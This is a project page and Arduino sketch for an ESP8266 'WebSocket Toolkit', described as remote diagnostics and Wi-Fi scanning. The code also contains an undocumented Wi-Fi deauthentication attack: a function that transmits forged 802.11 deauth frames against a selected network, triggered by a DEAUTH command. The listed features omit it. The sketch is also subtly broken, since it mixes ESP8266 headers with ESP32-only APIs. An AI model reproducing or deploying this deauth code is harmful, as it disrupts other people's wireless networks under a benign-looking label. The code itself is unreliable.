ESP8266 - Networking
ESP8266 WebSocket Toolkit
- Phantom
This project is an ESP8266-based networking toolkit that combines a remote WebSocket client with a local WebSocket server for device management. It provides remote diagnostics, Wi-Fi network discovery, persistent SPIFFS storage, and real-time communication with both a central management server and locally connected clients.
Features
- Remote WebSocket client for communicating with a central server.
- Local WebSocket server for browser or application control.
- Automatic Wi-Fi connection and reconnection.
- Wi-Fi network discovery with SSID, BSSID, and signal strength reporting.
- Persistent storage of discovered networks using SPIFFS.
- Remote device diagnostics and status reporting.
Supported Commands
PING— Tests connectivity with the device.UPTIME— Displays the current device uptime.FREE_MEM— Reports available heap memory.SCAN_WIFI— Scans for nearby wireless networks and stores new results.LOAD_WIFI— Loads previously saved Wi-Fi scan results from SPIFFS.
Reusable Components
This project includes several reusable modules suitable for other ESP8266 projects, including a WebSocket client, embedded WebSocket server, Wi-Fi scanning routines, SPIFFS file management, JSON serialization, automatic reconnect logic, and a command-based control interface that can easily be extended with additional functionality.
Future Improvements
Future revisions could introduce a modular command dispatcher, encrypted WebSocket communication, authenticated remote administration, asynchronous networking, improved filesystem organization, and support for over-the-air firmware updates. These additions would make the toolkit easier to extend while improving reliability and maintainability.
#include <ESP8266WiFiAP.h>
#include <WiFiClientSecure.h>
#include <WiFiServer.h>
#include <ESP8266WiFiMulti.h>
#include <WiFiServerSecure.h>
#include <WiFiClientSecureBearSSL.h>
#include <ESP8266WiFiGratuitous.h>
#include <ESP8266WiFiSTA.h>
#include <WiFiUdp.h>
#include <BearSSLHelpers.h>
#include <ESP8266WiFiType.h>
#include <WiFiServerSecureBearSSL.h>
#include <ArduinoWiFiServer.h>
#include <ESP8266WiFiGeneric.h>
#include <ESP8266WiFi.h>
#include <ESP8266WiFiScan.h>
#include <CertStoreBearSSL.h>
#include <WiFiClient.h>
//#include <WiFi.h>
#include <WebSocketsClient.h>
#include <WebSocketsServer.h>
#include <FS.h>
#include <SPIFFS.h>
#include <ArduinoJson.h>
#include "esp_wifi.h"
// Wi-Fi and WebSocket client settings
const char* deviceHostName = "DirectSec_ESP32_ToolKit"; // 🔹 Set a static hostname here
const char* ssid = "TL;DR"; // 🔹 Replace with your Wi-Fi SSID
const char* password = "*********"; // 🔹 Replace with your Wi-Fi password
const char* serverAddress = "192.168.6.66"; // 🔹 Your PC's IP
const int serverPort = 8000; // 🔹 Set PORT [UPDATE SubrosaWare.py to match desired PORT]
const char* deviceID = "ESP32_1"; // 🔹 Set DeviceID [UPDATE SubrosaWare.py to match desired DeviceID]
WebSocketsClient webSocketClient; // WebSocket client to communicate with PC
WebSocketsServer webSocketServer(81); // WebSocket server for local communication
struct WiFiNetwork {
String ssid;
uint8_t bssid[6];
};
std::vector<WiFiNetwork> networks; // Store Wi-Fi network information
// Function to save Wi-Fi data to SPIFFS
void saveWiFiData(String wifiData) {
// String existingData = loadWiFiData();
String existingData = readWiFiData(); // Use the correct function name
DynamicJsonDocument doc(1024);
deserializeJson(doc, existingData);
JsonArray networksArray = doc.as<JsonArray>();
DynamicJsonDocument newDoc(1024);
deserializeJson(newDoc, wifiData);
JsonArray newNetworks = newDoc.as<JsonArray>();
for (JsonObject network : newNetworks) {
String ssid = network["SSID"].as<String>();
String signal = network["Signal"].as<String>();
bool exists = false;
for (JsonObject savedNetwork : networksArray) {
if (savedNetwork["SSID"].as<String>() == ssid) {
exists = true;
break;
}
}
if (!exists) {
networksArray.add(network);
}
}
File file = SPIFFS.open("/wifi_data.json", "w");
if (file) {
serializeJson(doc, file);
file.close();
Serial.println("[+] Wi-Fi data saved!");
}
}
String readWiFiData() {
if (!SPIFFS.begin(true)) {
Serial.println("[!] Failed to mount SPIFFS.");
return "";
}
File file = SPIFFS.open("/wifi_data.json", "r");
if (!file) {
Serial.println("[!] Failed to open Wi-Fi data file.");
return "";
}
String jsonData = file.readString();
file.close();
return jsonData;
}
void loadWiFi() {
String jsonData = readWiFiData(); // Read stored Wi-Fi data from SPIFFS
if (jsonData.length() > 0) {
DynamicJsonDocument wifiDoc(2048);
DeserializationError error = deserializeJson(wifiDoc, jsonData);
if (!error) {
JsonArray wifiArray = wifiDoc.as<JsonArray>();
String wifiData = "Stored Wi-Fi Networks:\n";
for (JsonObject network : wifiArray) {
wifiData += " " + network["SSID"].as<String>() +
" [" + network["BSSID"].as<String>() + "]" +
" (Signal: " + network["Signal"].as<String>() + " dBm)\n";
}
webSocketClient.sendTXT(wifiData);
} else {
Serial.println("[!] Failed to parse stored Wi-Fi data.");
}
} else {
webSocketClient.sendTXT("No Wi-Fi data stored.");
}
}
// Scan available Wi-Fi networks and save the result
void scanWiFi() {
Serial.println("[*] Scanning Wi-Fi...");
int networksFound = WiFi.scanNetworks();
DynamicJsonDocument wifiDoc(2048); // Increase size for additional data
JsonArray wifiArray = wifiDoc.to<JsonArray>();
for (int i = 0; i < networksFound; i++) {
JsonObject network = wifiArray.createNestedObject();
network["SSID"] = WiFi.SSID(i);
network["BSSID"] = WiFi.BSSIDstr(i); // Get the MAC address (BSSID)
network["Signal"] = String(WiFi.RSSI(i));
// Print results in the serial monitor for debugging
Serial.println(" " + String(i + 1) + ". " + WiFi.SSID(i) + " [" + WiFi.BSSIDstr(i) + "] (Signal: " + String(WiFi.RSSI(i)) + " dBm)");
}
// Save the scanned Wi-Fi networks
String jsonData;
serializeJson(wifiDoc, jsonData);
saveWiFiData(jsonData);
// Send the formatted result over WebSocket
String wifiData = "Wi-Fi Networks Found:\n";
for (int i = 0; i < wifiArray.size(); i++) {
JsonObject network = wifiArray[i];
wifiData += " " + String(i + 1) + ". " + network["SSID"].as<String>() +
" [" + network["BSSID"].as<String>() + "]" +
" (Signal: " + network["Signal"].as<String>() + " dBm)\n";
}
webSocketClient.sendTXT(wifiData);
}
// Function to scan Wi-Fi networks for the WebSocket server
void scanWiFiNetworks() {
networks.clear();
int numNetworks = WiFi.scanNetworks();
for (int i = 0; i < numNetworks; i++) {
WiFiNetwork net;
net.ssid = WiFi.SSID(i);
memcpy(net.bssid, WiFi.BSSID(i), 6);
networks.push_back(net);
}
}
// Function to send the list of Wi-Fi networks to clients connected to the WebSocket server
void sendWiFiList() {
String wifiList = "";
for (size_t i = 0; i < networks.size(); i++) {
wifiList += String(i + 1) + ". " + networks[i].ssid + "\n";
}
webSocketServer.broadcastTXT(wifiList);
}
// Function to send a deauth packet (for a Wi-Fi deauth attack)
void sendDeauthPacket(const uint8_t *targetMac, const uint8_t *bssid) {
uint8_t deauthPacket[26] = {
0xc0, 0x00, 0x3a, 0x01,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5],
targetMac[0], targetMac[1], targetMac[2], targetMac[3], targetMac[4], targetMac[5],
0x00, 0x00, 0x07, 0x00
};
esp_wifi_80211_tx(WIFI_IF_AP, deauthPacket, sizeof(deauthPacket), false);
Serial.println("[+] Deauth Packet Sent");
}
// WebSocket event handling for the server
void webSocketServerEvent(uint8_t num, WStype_t type, uint8_t *payload, size_t length) {
String command = String((char*)payload);
if (command == "SCAN_WIFI") {
scanWiFiNetworks();
sendWiFiList();
} else if (command.startsWith("DEAUTH")) {
int targetIndex = command.substring(7).toInt() - 1;
if (targetIndex >= 0 && targetIndex < networks.size()) {
uint8_t broadcastMac[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
sendDeauthPacket(broadcastMac, networks[targetIndex].bssid);
webSocketServer.sendTXT(num, "[+] Deauth Attack on " + networks[targetIndex].ssid);
} else {
webSocketServer.sendTXT(num, "[-] Invalid selection");
}
}
}
// WebSocket event handling for the client
void webSocketClientEvent(WStype_t type, uint8_t *payload, size_t length) {
String command = String((char*)payload);
Serial.println("Received: " + command);
if (command == "PING") {
webSocketClient.sendTXT("PONG");
} else if (command == "UPTIME") {
webSocketClient.sendTXT("Uptime: " + String(millis() / 1000) + " seconds");
} else if (command == "FREE_MEM") {
webSocketClient.sendTXT("Free Heap: " + String(ESP.getFreeHeap()) + " bytes");
} else if (command == "SCAN_WIFI") {
scanWiFi();
} else if (command == "LOAD_WIFI") {
loadWiFi(); // Load saved Wi-Fi data in formatted string
} else {
webSocketClient.sendTXT("[ERROR] Unknown Command: " + command);
}
}
// Wi-Fi connection setup
void connectWiFi() {
Serial.print("[*] Connecting to WiFi...");
WiFi.begin(ssid, password);
int attempt = 0;
while (WiFi.status() != WL_CONNECTED && attempt < 20) {
delay(500);
Serial.print(".");
attempt++;
}
if (WiFi.status() == WL_CONNECTED) {
Serial.println("\n[+] WiFi Connected! IP: " + WiFi.localIP().toString());
} else {
Serial.println("\n[-] WiFi connection failed. Restarting...");
ESP.restart();
}
}
// Connect to the WebSocket server on the PC
void connectWebSocketClient() {
Serial.println("[*] Connecting to WebSocket...");
webSocketClient.begin(serverAddress, serverPort, (String("/ws/") + deviceID).c_str());
webSocketClient.onEvent(webSocketClientEvent);
webSocketClient.setReconnectInterval(5000);
}
// Set up WebSocket server for local communication
void setupWebSocketServer() {
webSocketServer.begin();
webSocketServer.onEvent(webSocketServerEvent);
}
void setup() {
Serial.begin(115200);
SPIFFS.begin(true);
connectWiFi();
connectWebSocketClient();
setupWebSocketServer();
WiFi.setHostname(deviceHostName);
}
void loop() {
webSocketClient.loop();
webSocketServer.loop();
delay(10);
}